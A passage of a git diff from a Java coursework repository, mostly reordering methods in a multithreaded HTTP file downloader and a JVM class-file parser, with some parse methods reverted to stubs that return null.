+			assertEquals(expected[i], Integer.parseInt(actual[i]));
 		}
 
 	}
diff --git a/group12/382266293/src/com/coderising/download/DownloadThread.java b/group12/382266293/src/com/coderising/download/DownloadThread.java
index 11df6109e3..38f92f6677 100644
--- a/group12/382266293/src/com/coderising/download/DownloadThread.java
+++ b/group12/382266293/src/com/coderising/download/DownloadThread.java
@@ -2,6 +2,7 @@
 
 import java.io.File;
 import java.io.IOException;
+
 import java.io.RandomAccessFile;
 
 import com.coderising.download.api.Connection;
@@ -21,15 +22,6 @@ public DownloadThread(Connection conn, int startPos, int endPos) {
 		this.endPos = endPos;
 	}
 
-	public void close() {
-		this.conn.close();
-
-	}
-
-	public void notifyFinished() {
-		fileDownloader.setThreadFinished();
-	}
-
 	@Override
 	public void run() {
 		System.out.println(this.getName() + " is running");
@@ -57,12 +49,21 @@ public void run() {
 		}
 	}
 
+	public void setFileDownloader(FileDownloader fileDownloader) {
+		this.fileDownloader = fileDownloader;
+	}
+
+	public void notifyFinished() {
+		fileDownloader.setThreadFinished();
+	}
+
 	public void setDest(String dest) {
 		this.dest = dest;
 	}
 
-	public void setFileDownloader(FileDownloader fileDownloader) {
-		this.fileDownloader = fileDownloader;
+	public void close() {
+		this.conn.close();
+
 	}
 
 }
diff --git a/group12/382266293/src/com/coderising/download/DownloadUtil.java b/group12/382266293/src/com/coderising/download/DownloadUtil.java
index 8e54afc2f9..c169214476 100644
--- a/group12/382266293/src/com/coderising/download/DownloadUtil.java
+++ b/group12/382266293/src/com/coderising/download/DownloadUtil.java
@@ -9,15 +9,8 @@ public class DownloadUtil {
 	private static final int MIN_CONNECTIONS = 3;
 	private static final int MAX_CONNECTIONS = 10;
 
-	public static int calculateConnects(int length) {
-		int conns = length / 1024 / 1024 / 10;
-		if (conns < MIN_CONNECTIONS) {
-			return MIN_CONNECTIONS;
-		} else if (conns > MAX_CONNECTIONS) {
-			return MAX_CONNECTIONS;
-		} else {
-			return conns;
-		}
+	public static long getCurrentTime() {
+		return System.currentTimeMillis();
 	}
 
 	public static void createTempFile(String tempName, int len) {
@@ -51,14 +44,15 @@ public static void createTempFile(String tempName, int len) {
 		}
 	}
 
-	public static long getCurrentTime() {
-		return System.currentTimeMillis();
-	}
-
-	public static void printDownloadReport(int length, long start, long end) {
-		int time = (int) ((end - start) / 1000);
-		float speed = (float) length / 1024 / 1024 / time;
-		System.out.println("共耗时：" + time + "s，下载速度： " + (float) (Math.round(speed * 100)) / 100 + "Mb/s");
+	public static int calculateConnects(int length) {
+		int conns = length / 1024 / 1024 / 10;
+		if (conns < MIN_CONNECTIONS) {
+			return MIN_CONNECTIONS;
+		} else if (conns > MAX_CONNECTIONS) {
+			return MAX_CONNECTIONS;
+		} else {
+			return conns;
+		}
 	}
 
 	public static boolean rename(String from, String to) {
@@ -70,4 +64,10 @@ public static boolean rename(String from, String to) {
 		return false;
 	}
 
+	public static void printDownloadReport(int length, long start, long end) {
+		int time = (int) ((end - start) / 1000);
+		float speed = (float) length / 1024 / 1024 / time;
+		System.out.println("共耗时：" + time + "s，下载速度： " + (float) (Math.round(speed * 100)) / 100 + "Mb/s");
+	}
+
 }
\ No newline at end of file
diff --git a/group12/382266293/src/com/coderising/download/FileDownloader.java b/group12/382266293/src/com/coderising/download/FileDownloader.java
index 311ebede84..671ff7243c 100644
--- a/group12/382266293/src/com/coderising/download/FileDownloader.java
+++ b/group12/382266293/src/com/coderising/download/FileDownloader.java
@@ -9,45 +9,20 @@ public class FileDownloader {
 
 	private final static String EXT = "lyj";
 	private static DownloadThread[] threadPool;
-	private static String fileName;
-	private static String tempName;
-
 	private int finishedCount;
 	public String downloadLocation;
+
 	String url;
 	ConnectionManager cm;
 	DownloadListener listener;
+	private static String fileName;
+	private static String tempName;
 
 	public FileDownloader(String _url) {
 		this.url = _url;
 		this.finishedCount = 0;
 	}
 
-	private boolean checkFinish(int links) {
-
-		while (finishedCount != links) {
-			try {
-				Thread.sleep(5000);
-				System.out.println("Unfinshed threads number: " + (links - finishedCount));
-			} catch (InterruptedException e) {
-				e.printStackTrace();
-			}
-		}
-		return true;
-	}
-
-	private void checkLength(int length, Connection conn) {
-		if (length <= 0) {
-			try {
-				throw new ConnectionException("file does not exist");
-			} catch (ConnectionException e) {
-				e.printStackTrace();
-			} finally {
-				conn.close();
-			}
-		}
-	}
-
 	public void execute() {
 		// 在这里实现你的代码， 注意： 需要用多线程实现下载
 		// 这个类依赖于其他几个接口, 你需要写这几个接口的实现代码
@@ -100,6 +75,44 @@ public void execute() {
 		}
 	}
 
+	private void checkLength(int length, Connection conn) {
+		if (length <= 0) {
+			try {
+				throw new ConnectionException("file does not exist");
+			} catch (ConnectionException e) {
+				e.printStackTrace();
+			} finally {
+				conn.close();
+			}
+		}
+	}
+
+	private void setTempName(String name) {
+		String temp = name.substring(0, name.lastIndexOf(".") + 1) + EXT;
+		FileDownloader.tempName = downloadLocation + temp;
+	}
+
+	private void setFileName(String name) {
+		FileDownloader.fileName = downloadLocation + name;
+	}
+
+	private void setLocation(String downloadLocation) {
+		this.downloadLocation = downloadLocation;
+	}
+
+	private boolean checkFinish(int links) {
+
+		while (finishedCount != links) {
+			try {
+				Thread.sleep(5000);
+				System.out.println("Unfinshed threads number: " + (links - finishedCount));
+			} catch (InterruptedException e) {
+				e.printStackTrace();
+			}
+		}
+		return true;
+	}
+
 	private void freeDownloadThread() {
 		if (threadPool != null) {
 			for (int i = 0; i < threadPool.length; i++) {
@@ -121,12 +134,6 @@ public DownloadListener getListener() {
 		return this.listener;
 	}
 
-	private void setAndStartThread(DownloadThread downloadThread, String dest) {
-		downloadThread.setDest(dest);
-		downloadThread.setFileDownloader(this);
-		downloadThread.start();
-	}
-
 	private void setAndStartThreadPool(Connection conn, DownloadThread[] threadPool, int length)
 			throws ConnectionException {
 		int connectionNumbers = threadPool.length;
@@ -149,29 +156,22 @@ private void setAndStartThreadPool(Connection conn, DownloadThread[] threadPool,
 		}
 	}
 
+	private void setAndStartThread(DownloadThread downloadThread, String dest) {
+		downloadThread.setDest(dest);
+		downloadThread.setFileDownloader(this);
+		downloadThread.start();
+	}
+
 	public void setConnectionManager(ConnectionManager ucm) {
 		this.cm = ucm;
 	}
 
-	private void setFileName(String name) {
-		FileDownloader.fileName = downloadLocation + name;
+	public void setThreadFinished() {
+		finishedCount++;
 	}
 
 	public void setListener(DownloadListener listener) {
 		this.listener = listener;
 	}
 
-	private void setLocation(String downloadLocation) {
-		this.downloadLocation = downloadLocation;
-	}
-
-	private void setTempName(String name) {
-		String temp = name.substring(0, name.lastIndexOf(".") + 1) + EXT;
-		FileDownloader.tempName = downloadLocation + temp;
-	}
-
-	public void setThreadFinished() {
-		finishedCount++;
-	}
-
 }
diff --git a/group12/382266293/src/com/coderising/download/FileDownloaderTest.java b/group12/382266293/src/com/coderising/download/FileDownloaderTest.java
index b9c458d2a6..88a5dba40e 100644
--- a/group12/382266293/src/com/coderising/download/FileDownloaderTest.java
+++ b/group12/382266293/src/com/coderising/download/FileDownloaderTest.java
@@ -9,20 +9,20 @@
 import com.coderising.download.impl.ConnectionManagerImpl;
 
 public class FileDownloaderTest {
-	public static String qq = "http://sw.bos.baidu.com/sw-search-sp/software/89179b0b248b1/QQ_8.9.20026.0_setup.exe";
-
-	public static String picture = "http://image.beekka.com/blog/201304/bg2013042401.jpg";
-
-	public static String foxmail = "http://sw.bos.baidu.com/sw-search-sp/software/6c7bb8b6674d0/fm728chb379_7.2.8.379_setup.exe";
-
 	boolean downloadFinished = false;
+
 	@Before
 	public void setUp() throws Exception {
 	}
+
 	@After
 	public void tearDown() throws Exception {
 	}
 
+	public static String qq = "http://sw.bos.baidu.com/sw-search-sp/software/89179b0b248b1/QQ_8.9.20026.0_setup.exe";
+	public static String picture = "http://image.beekka.com/blog/201304/bg2013042401.jpg";
+	public static String foxmail = "http://sw.bos.baidu.com/sw-search-sp/software/6c7bb8b6674d0/fm728chb379_7.2.8.379_setup.exe";
+
 	@Test
 	public void testDownload() {
 
diff --git a/group12/382266293/src/com/coderising/download/api/Connection.java b/group12/382266293/src/com/coderising/download/api/Connection.java
index 53293962a0..11a0eab3d8 100644
--- a/group12/382266293/src/com/coderising/download/api/Connection.java
+++ b/group12/382266293/src/com/coderising/download/api/Connection.java
@@ -4,10 +4,15 @@
 
 public interface Connection {
 	/**
-	 * 关闭连接
+	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
+	 * 
+	 * @param startPos
+	 *            开始位置， 从0开始
+	 * @param endPos
+	 *            结束位置
+	 * @return
 	 */
-
-	public void close();
+	public byte[] read(int startPos, int endPos) throws IOException;
 
 	/**
 	 * 得到数据内容的长度
@@ -16,20 +21,15 @@ public interface Connection {
 	 */
 	public int getContentLength();
 
-	public String getFileName();
-
-	public boolean isFinished();
-
 	/**
-	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
-	 * 
-	 * @param startPos
-	 *            开始位置， 从0开始
-	 * @param endPos
-	 *            结束位置
-	 * @return
+	 * 关闭连接
 	 */
-	public byte[] read(int startPos, int endPos) throws IOException;
+
+	public void close();
+
+	public String getFileName();
 
 	public void setFinished();
+
+	public boolean isFinished();
 }
diff --git a/group12/382266293/src/com/coderising/download/impl/ConnectionImpl.java b/group12/382266293/src/com/coderising/download/impl/ConnectionImpl.java
index 7c772bc665..a4fa5c15ad 100644
--- a/group12/382266293/src/com/coderising/download/impl/ConnectionImpl.java
+++ b/group12/382266293/src/com/coderising/download/impl/ConnectionImpl.java
@@ -12,8 +12,8 @@
 
 public class ConnectionImpl implements Connection {
 
-	private static int buffer_size = 1024;
 	private ConnectionManager cm;
+	private static int buffer_size = 1024;
 	private HttpURLConnection httpConn;
 	private URL url;
 	private boolean finished = false;
@@ -28,31 +28,6 @@ public ConnectionImpl(ConnectionManager cm, String _url) {
 		}
 	}
 
-	@Override
-	public void close() {
-		httpConn.disconnect();
-	}
-
-	@Override
-	public int getContentLength() {
-		int len = httpConn.getContentLength();
-
-		return len;
-
-	}
-
-	@Override
-	public String getFileName() {
-		String fileName = httpConn.getURL().getFile();
-		fileName = fileName.substring(fileName.lastIndexOf('/') + 1);
-		return fileName;
-	}
-
-	@Override
-	public boolean isFinished() {
-		return finished;
-	}
-
 	@Override
 	public byte[] read(int startPos, int endPos) throws IOException {
 		InputStream in = null;
@@ -85,9 +60,34 @@ public byte[] read(int startPos, int endPos) throws IOException {
 		return null;
 	}
 
+	@Override
+	public int getContentLength() {
+		int len = httpConn.getContentLength();
+
+		return len;
+
+	}
+
+	@Override
+	public void close() {
+		httpConn.disconnect();
+	}
+
+	@Override
+	public String getFileName() {
+		String fileName = httpConn.getURL().getFile();
+		fileName = fileName.substring(fileName.lastIndexOf('/') + 1);
+		return fileName;
+	}
+
 	@Override
 	public void setFinished() {
 		finished = true;
 	}
 
+	@Override
+	public boolean isFinished() {
+		return finished;
+	}
+
 }
diff --git a/group12/382266293/src/com/coderising/download/impl/ConnectionManagerImpl.java b/group12/382266293/src/com/coderising/download/impl/ConnectionManagerImpl.java
index c4634733d5..122073e37b 100644
--- a/group12/382266293/src/com/coderising/download/impl/ConnectionManagerImpl.java
+++ b/group12/382266293/src/com/coderising/download/impl/ConnectionManagerImpl.java
@@ -16,15 +16,6 @@ public ConnectionManagerImpl() {
 		this.connections = 0;
 	}
 
-	private void checkConnectionSize() {
-		if (connections > MAX_CONNECTION_SIZE)
-			try {
-				throw new NoFreeSourceException("No free connections available.");
-			} catch (NoFreeSourceException e) {
-				e.printStackTrace();
-			}
-	}
-
 	@Override
 	public Connection open(String url) throws ConnectionException {
 		this.url = url;
@@ -42,4 +33,13 @@ public Connection open(String url) throws ConnectionException {
 		return null;
 	}
 
+	private void checkConnectionSize() {
+		if (connections > MAX_CONNECTION_SIZE)
+			try {
+				throw new NoFreeSourceException("No free connections available.");
+			} catch (NoFreeSourceException e) {
+				e.printStackTrace();
+			}
+	}
+
 }
diff --git a/group12/382266293/src/com/coderising/download/impl/DownloadUtil.java b/group12/382266293/src/com/coderising/download/impl/DownloadUtil.java
index 34521a5cd7..834a68d702 100644
--- a/group12/382266293/src/com/coderising/download/impl/DownloadUtil.java
+++ b/group12/382266293/src/com/coderising/download/impl/DownloadUtil.java
@@ -6,6 +6,10 @@
 
 public class DownloadUtil {
 
+	public static long getCurrentTime() {
+		return System.currentTimeMillis();
+	}
+
 	public static void createTempFile(String tempName, int len) {
 		File file = new File(tempName);
 		if (file.exists()) {
@@ -37,8 +41,4 @@ public static void createTempFile(String tempName, int len) {
 		}
 	}
 
-	public static long getCurrentTime() {
-		return System.currentTimeMillis();
-	}
-
 }
diff --git a/group12/382266293/src/com/coderising/jvm/attr/CodeAttr.java b/group12/382266293/src/com/coderising/jvm/attr/CodeAttr.java
index 99c0183e02..68a628ec61 100644
--- a/group12/382266293/src/com/coderising/jvm/attr/CodeAttr.java
+++ b/group12/382266293/src/com/coderising/jvm/attr/CodeAttr.java
@@ -1,18 +1,52 @@
 package com.coderising.jvm.attr;
 
-import java.util.Arrays;
+import java.io.UnsupportedEncodingException;
 
 import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.cmd.ByteCodeCommand;
-import com.coderising.jvm.cmd.CommandParser;
 import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.field.Field;
 import com.coderising.jvm.loader.ByteCodeIterator;
 
 
 public class CodeAttr extends AttributeInfo {
+	private int maxStack ;
+	private int maxLocals ;
+	private int codeLen ;
+	private String code;
+	public String getCode() {
+		return code;
+	}
+
+	//private ByteCodeCommand[] cmds ;
+	//public ByteCodeCommand[] getCmds() {
+	//	return cmds;
+	//}
+	private LineNumberTable lineNumTable;
+	private LocalVariableTable localVarTable;
+	private StackMapTable stackMapTable;
+	
+	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code /*ByteCodeCommand[] cmds*/) {
+		super(attrNameIndex, attrLen);
+		this.maxStack = maxStack;
+		this.maxLocals = maxLocals;
+		this.codeLen = codeLen;
+		this.code = code;
+		//this.cmds = cmds;
+	}
+
+	public void setLineNumberTable(LineNumberTable t) {
+		this.lineNumTable = t;
+	}
+
+	public void setLocalVariableTable(LocalVariableTable t) {
+		this.localVarTable = t;		
+	}
+	
 	public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
 		 int attrNameIndex = iter.nextU2ToInt();
 		 
+		 System.out.println("attrIndex " + attrNameIndex);
+		 
 		 int attrLen = iter.nextU4ToInt();
 
 		 int maxStack = iter.nextU2ToInt();
@@ -23,13 +57,11 @@ public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
 		 
 		 System.out.println("codeLen " + codeLen);
 		 
+		 CodeAttr codeAttr = new CodeAttr(attrNameIndex, attrLen, maxStack, maxLocals, codeLen, "Code");
+		 
 		 String code = iter.nextUxToHexString(codeLen);
 
-		 ByteCodeCommand[] cmds = CommandParser.parse(clzFile, code);
-		 CodeAttr codeAttr = new CodeAttr(attrNameIndex, attrLen, maxStack, maxLocals, codeLen, code, cmds);
-
-		System.out.println("Code is " + code);
-		System.out.println(Arrays.toString(cmds));
+		 System.out.println("Code is " + code);
 		 
 		 int exceptionTableLen = iter.nextU2ToInt();
 		 
@@ -72,35 +104,6 @@ public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
 		 
 		 return codeAttr;
 	}
-	private int maxStack ;
-	private int maxLocals ;
-	private int codeLen ;
-	private String code;
-
-	private LineNumberTable lineNumTable;
-	private LocalVariableTable localVarTable;
-	private StackMapTable stackMapTable;
-	
-	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code ,ByteCodeCommand[] cmds) {
-		super(attrNameIndex, attrLen);
-		this.maxStack = maxStack;
-		this.maxLocals = maxLocals;
-		this.codeLen = codeLen;
-		this.code = code;
-		this.cmds = cmds;
-	}
-
-	public String getCode() {
-		return code;
-	}
-
-	public void setLineNumberTable(LineNumberTable t) {
-		this.lineNumTable = t;
-	}
-	
-	public void setLocalVariableTable(LocalVariableTable t) {
-		this.localVarTable = t;		
-	}
 	
 	
 	private void setStackMapTable(StackMapTable t) {
@@ -108,22 +111,8 @@ private void setStackMapTable(StackMapTable t) {
 		
 	}
 
-	private ByteCodeCommand[] cmds ;
-	public ByteCodeCommand[] getCmds() {		
-		return cmds;
-	}
-
-	public String toString(ConstantPool pool){
-		StringBuilder buffer = new StringBuilder();
-		//buffer.append("Code:").append(code).append("\n");
-		for(int i=0;i<cmds.length;i++){
-			buffer.append(cmds[i].toString(pool)).append("\n");
-		}
-		buffer.append("\n");
-		buffer.append(this.lineNumTable.toString());
-		buffer.append(this.localVarTable.toString(pool));
-		return buffer.toString();
-	}
+	
+	
 	
 	
 }
diff --git a/group12/382266293/src/com/coderising/jvm/attr/LineNumberTable.java b/group12/382266293/src/com/coderising/jvm/attr/LineNumberTable.java
index f6a8c2e64b..22941f83b1 100644
--- a/group12/382266293/src/com/coderising/jvm/attr/LineNumberTable.java
+++ b/group12/382266293/src/com/coderising/jvm/attr/LineNumberTable.java
@@ -6,59 +6,35 @@
 import com.coderising.jvm.loader.ByteCodeIterator;
 
 public class LineNumberTable extends AttributeInfo {
+	List<LineNumberItem> items = new ArrayList<LineNumberItem>();
+	
 	private static class LineNumberItem{
 		int startPC;
 		int lineNum;
-		public int getLineNum() {
-			return lineNum;
-		}
 		public int getStartPC() {
 			return startPC;
 		}
-		public void setLineNum(int lineNum) {
-			this.lineNum = lineNum;
-		}
 		public void setStartPC(int startPC) {
 			this.startPC = startPC;
 		}
-	}
-	
-	public static LineNumberTable parse(ByteCodeIterator iter){
-		
-		int attrNameIndex = iter.nextU2ToInt();
-		 
-		int attrLen = iter.nextU4ToInt();
-		 
-		int line_number_table_length = iter.nextU2ToInt();
-		
-		LineNumberTable lnt = new LineNumberTable(attrNameIndex, attrLen);
-		
-		
-		for (int i = 0; i < line_number_table_length; i++) {
-			
-			LineNumberItem lni = new LineNumberItem();
-			
-			int start_pc = iter.nextU2ToInt();
-			lni.setStartPC(start_pc);
-			
-			int line_number = iter.nextU2ToInt();
-			lni.setLineNum(line_number);
-			
-			lnt.addLineNumberItem(lni);
+		public int getLineNum() {
+			return lineNum;
+		}
+		public void setLineNum(int lineNum) {
+			this.lineNum = lineNum;
 		}
-		 
-
-
-		return lnt;
 	}
-	List<LineNumberItem> items = new ArrayList<LineNumberItem>();
+	public void addLineNumberItem(LineNumberItem item){
+		this.items.add(item);
+	}
 	public LineNumberTable(int attrNameIndex, int attrLen) {
 		super(attrNameIndex, attrLen);
 		
 	}
 	
-	public void addLineNumberItem(LineNumberItem item){
-		this.items.add(item);
+	public static LineNumberTable parse(ByteCodeIterator iter){
+		
+		return null;
 	}
 	
 	
diff --git a/group12/382266293/src/com/coderising/jvm/attr/LocalVariableItem.java b/group12/382266293/src/com/coderising/jvm/attr/LocalVariableItem.java
index 80f3af5cd5..3eb2654e36 100644
--- a/group12/382266293/src/com/coderising/jvm/attr/LocalVariableItem.java
+++ b/group12/382266293/src/com/coderising/jvm/attr/LocalVariableItem.java
@@ -6,34 +6,34 @@ public class LocalVariableItem {
 	private int nameIndex;
 	private int descIndex;
 	private int index;
-	public int getDescIndex() {
-		return descIndex;
+	public int getStartPC() {
+		return startPC;
 	}
-	public int getIndex() {
-		return index;
+	public void setStartPC(int startPC) {
+		this.startPC = startPC;
 	}
 	public int getLength() {
 		return length;
 	}
+	public void setLength(int length) {
+		this.length = length;
+	}
 	public int getNameIndex() {
 		return nameIndex;
 	}
-	public int getStartPC() {
-		return startPC;
+	public void setNameIndex(int nameIndex) {
+		this.nameIndex = nameIndex;
+	}
+	public int getDescIndex() {
+		return descIndex;
 	}
 	public void setDescIndex(int descIndex) {
 		this.descIndex = descIndex;
 	}
+	public int getIndex() {
+		return index;
+	}
 	public void setIndex(int index) {
 		this.index = index;
 	}
-	public void setLength(int length) {
-		this.length = length;
-	}
-	public void setNameIndex(int nameIndex) {
-		this.nameIndex = nameIndex;
-	}
-	public void setStartPC(int startPC) {
-		this.startPC = startPC;
-	}
 }
diff --git a/group12/382266293/src/com/coderising/jvm/attr/LocalVariableTable.java b/group12/382266293/src/com/coderising/jvm/attr/LocalVariableTable.java
index 8a63e31269..fa69dc9bdb 100644
--- a/group12/382266293/src/com/coderising/jvm/attr/LocalVariableTable.java
+++ b/group12/382266293/src/com/coderising/jvm/attr/LocalVariableTable.java
@@ -5,67 +5,24 @@
 import java.util.List;
 
 import com.coderising.jvm.constant.ConstantPool;
+
 import com.coderising.jvm.loader.ByteCodeIterator;
 
 public class LocalVariableTable extends AttributeInfo{
 
-	public static LocalVariableTable parse(ByteCodeIterator iter){
-		int attrNameIndex = iter.nextU2ToInt();
-		 
-		int attrLen = iter.nextU4ToInt();
-		 
-		int local_variable_table_length = iter.nextU2ToInt();
-		
-		LocalVariableTable lvt = new LocalVariableTable(attrNameIndex, attrLen);
-		
-		
-		for (int i = 0; i < local_variable_table_length; i++) {
-			
-			LocalVariableItem lvi = new LocalVariableItem();
-			
-			int start_pc = iter.nextU2ToInt();
-			lvi.setStartPC(start_pc);
-			
-			int length = iter.nextU2ToInt();
-			lvi.setLength(length);
-			
-			int name_index = iter.nextU2ToInt();
-			lvi.setNameIndex(name_index);
-			
-			int desc_index = iter.nextU2ToInt();
-			lvi.setDescIndex(desc_index);
-			
-			int index = iter.nextU2ToInt();
-			lvi.setIndex(index);
-			
-			lvt.addLocalVariableItem(lvi);
-		}
-		 
-		return lvt;
-	}
-	
 	List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
-
+	
 	public LocalVariableTable(int attrNameIndex, int attrLen) {
 		super(attrNameIndex, attrLen);		
 	}
-
+	
+	public static LocalVariableTable parse(ByteCodeIterator iter){
+		
+		return null;
+	}
 	private void addLocalVariableItem(LocalVariableItem item) {
 		this.items.add(item);		
 	}
 	
 	
-	public String toString(ConstantPool pool){
-		StringBuilder buffer = new StringBuilder();
-		buffer.append("Local Variable Table:\n");
-		for(LocalVariableItem item : items){
-			buffer.append("startPC:"+item.getStartPC()).append(",");
-			buffer.append("name:"+pool.getUTF8String(item.getNameIndex())).append(",");
-			buffer.append("desc:"+pool.getUTF8String(item.getDescIndex())).append(",");
-			buffer.append("slotIndex:"+ item.getIndex()).append("\n");
-		}
-		buffer.append("\n");
-		return buffer.toString();
-	}
-	
 }
diff --git a/group12/382266293/src/com/coderising/jvm/attr/StackMapTable.java b/group12/382266293/src/com/coderising/jvm/attr/StackMapTable.java
index 0dd885a940..44c5d90d46 100644
--- a/group12/382266293/src/com/coderising/jvm/attr/StackMapTable.java
+++ b/group12/382266293/src/com/coderising/jvm/attr/StackMapTable.java
@@ -5,6 +5,12 @@
 
 public class StackMapTable extends AttributeInfo{
 	
+	private String originalCode;
+
+	public StackMapTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+
 	public static StackMapTable parse(ByteCodeIterator iter){
 		int index = iter.nextU2ToInt();
 		int len = iter.nextU4ToInt();
@@ -17,12 +23,6 @@ public static StackMapTable parse(ByteCodeIterator iter){
 		return t;
 	}
 
-	private String originalCode;
-
-	public StackMapTable(int attrNameIndex, int attrLen) {
-		super(attrNameIndex, attrLen);		
-	}
-
 	private void setOriginalCode(String code) {
 		this.originalCode = code;
 		
diff --git a/group12/382266293/src/com/coderising/jvm/clz/AccessFlag.java b/group12/382266293/src/com/coderising/jvm/clz/AccessFlag.java
index 20e86330df..17dd61f8b6 100644
--- a/group12/382266293/src/com/coderising/jvm/clz/AccessFlag.java
+++ b/group12/382266293/src/com/coderising/jvm/clz/AccessFlag.java
@@ -3,11 +3,6 @@
 import com.coderising.jvm.loader.ByteCodeIterator;
 
 public class AccessFlag {
-	public static AccessFlag parseAccessFlag(ByteCodeIterator iter) {
-		AccessFlag accessFlag = new AccessFlag(iter.nextU2ToInt());
-		return accessFlag;
-	}
-
 	private int flagValue;
 
 	public AccessFlag(int value) {
@@ -18,15 +13,20 @@ public int getFlagValue() {
 		return flagValue;
 	}
 
-	public boolean isFinalClass() {
-		return (this.flagValue & 0x0010) != 0;
+	public void setFlagValue(int flag) {
+		this.flagValue = flag;
 	}
 
 	public boolean isPublicClass() {
 		return (this.flagValue & 0x0001) != 0;
 	}
 
-	public void setFlagValue(int flag) {
-		this.flagValue = flag;
+	public boolean isFinalClass() {
+		return (this.flagValue & 0x0010) != 0;
+	}
+
+	public static AccessFlag parseAccessFlag(ByteCodeIterator iter) {
+		AccessFlag accessFlag = new AccessFlag(iter.nextU2ToInt());
+		return accessFlag;
 	}
 }
\ No newline at end of file
diff --git a/group12/382266293/src/com/coderising/jvm/clz/ClassFile.java b/group12/382266293/src/com/coderising/jvm/clz/ClassFile.java
index 111cb247d3..6e37d03643 100644
--- a/group12/382266293/src/com/coderising/jvm/clz/ClassFile.java
+++ b/group12/382266293/src/com/coderising/jvm/clz/ClassFile.java
@@ -5,7 +5,6 @@
 
 import com.coderising.jvm.constant.ClassInfo;
 import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.UTF8Info;
 import com.coderising.jvm.field.Field;
 import com.coderising.jvm.method.Method;
 
@@ -20,57 +19,45 @@ public class ClassFile {
 	private List<Field> fields = new ArrayList<Field>();
 	private List<Method> methods = new ArrayList<Method>();
 
-	public void addField(Field field) {
-		
-		this.fields.add(field);
-		
-	}
-
-	public void addMethod(Method method) {
-		
-		this.methods.add(method);
-		
+	public ClassIndex getClzIndex() {
+		return clzIndex;
 	}
 
 	public AccessFlag getAccessFlag() {
 		return accessFlag;
 	}
 
-	public String getClassName() {
-		int thisClassIndex = this.clzIndex.getThisClassIndex();
-		ClassInfo thisClass = (ClassInfo) this.getConstantPool().getConstantInfo(thisClassIndex);
-		return thisClass.getClassName();
-	}
-
-	public ClassIndex getClzIndex() {
-		return clzIndex;
+	public void setAccessFlag(AccessFlag accessFlag) {
+		this.accessFlag = accessFlag;
 	}
 
 	public ConstantPool getConstantPool() {
 		return pool;
 	}
 
-	public List<Field> getFields() {
+	public int getMinorVersion() {
+		return minorVersion;
+	}
 
-		return fields;
+	public void setMinorVersion(int minorVersion) {
+		this.minorVersion = minorVersion;
 	}
 
 	public int getMajorVersion() {
 		return majorVersion;
 	}
 
-	public List<Method> getMethods() {
-
-		return methods;
+	public void setMajorVersion(int majorVersion) {
+		this.majorVersion = majorVersion;
 	}
 
-	public int getMinorVersion() {
-		return minorVersion;
+	public void setConstPool(ConstantPool pool) {
+		this.pool = pool;
+
 	}
 
-	public String getSuperClassName() {
-		ClassInfo superClass = (ClassInfo) this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
-		return superClass.getClassName();
+	public void setClassIndex(ClassIndex clzIndex) {
+		this.clzIndex = clzIndex;
 	}
 
 	public void print() {
@@ -84,17 +71,20 @@ public void print() {
 
 	}
 
-	public void setAccessFlag(AccessFlag accessFlag) {
-		this.accessFlag = accessFlag;
+	private String getClassName() {
+		int thisClassIndex = this.clzIndex.getThisClassIndex();
+		ClassInfo thisClass = (ClassInfo) this.getConstantPool().getConstantInfo(thisClassIndex);
+		return thisClass.getClassName();
 	}
 
-	public void setClassIndex(ClassIndex clzIndex) {
-		this.clzIndex = clzIndex;
+	private String getSuperClassName() {
+		ClassInfo superClass = (ClassInfo) this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
+		return superClass.getClassName();
 	}
-	
-	public void setConstPool(ConstantPool pool) {
-		this.pool = pool;
 
+	public List<Field> getFields() {
+
+		return fields;
 	}
 	
 	public void setFields(List<Field> fields) {
@@ -102,51 +92,27 @@ public void setFields(List<Field> fields) {
 		this.fields = fields;
 		
 	}
-
-	public void setMajorVersion(int majorVersion) {
-		this.majorVersion = majorVersion;
-	}
 	
-	public void setMethods(List<Method> methods) {
+	public void addField(Field field) {
 		
-		this.methods = methods;
+		this.fields.add(field);
 		
 	}
-	
-	public void setMinorVersion(int minorVersion) {
-		this.minorVersion = minorVersion;
+
+	public List<Method> getMethods() {
+
+		return methods;
 	}
 	
-	
-	public Method getMethod(String methodName, String paramAndReturnType){
-
+	public void setMethods(List<Method> methods) {
 		
-		for (Method m : methods) {
-			
-			int nameIndex = m.getNameIndex();
-			int descriptorIndex= m.getDescriptorIndex();
-			String name = ((UTF8Info)pool.getConstantInfo(nameIndex)).getValue();
-			String desc = ((UTF8Info)pool.getConstantInfo(descriptorIndex)).getValue();
-			if (name.equals(methodName) && desc.equals(paramAndReturnType)) {
-				return m;
-			}		
-		}
+		this.methods = methods;
 		
-		return null;
 	}
-	public Method getMainMethod(){
+	
+	public void addMethod(Method method) {
 		
-		for (Method m : methods) {
-			
-			int nameIndex = m.getNameIndex();
-			int descriptorIndex= m.getDescriptorIndex();
-			String name = ((UTF8Info)pool.getConstantInfo(nameIndex)).getValue();
-			String desc = ((UTF8Info)pool.getConstantInfo(descriptorIndex)).getValue();
-			if (name.equals("main") && desc.equals("([Ljava/lang/String;)V")) {
-				return m;
-			}		
-		}
+		this.methods.add(method);
 		
-		return null;
 	}
 }
diff --git a/group12/382266293/src/com/coderising/jvm/clz/ClassIndex.java b/group12/382266293/src/com/coderising/jvm/clz/ClassIndex.java
index 213fb9163f..0212bc9fb3 100644
--- a/group12/382266293/src/com/coderising/jvm/clz/ClassIndex.java
+++ b/group12/382266293/src/com/coderising/jvm/clz/ClassIndex.java
@@ -4,19 +4,19 @@ public class ClassIndex {
 	private int thisClassIndex;
 	private int superClassIndex;
 
-	public int getSuperClassIndex() {
-		return superClassIndex;
-	}
-
 	public int getThisClassIndex() {
 		return thisClassIndex;
 	}
 
-	public void setSuperClassIndex(int superClassIndex) {
-		this.superClassIndex = superClassIndex;
-	}
-
 	public void setThisClassIndex(int thisClassIndex) {
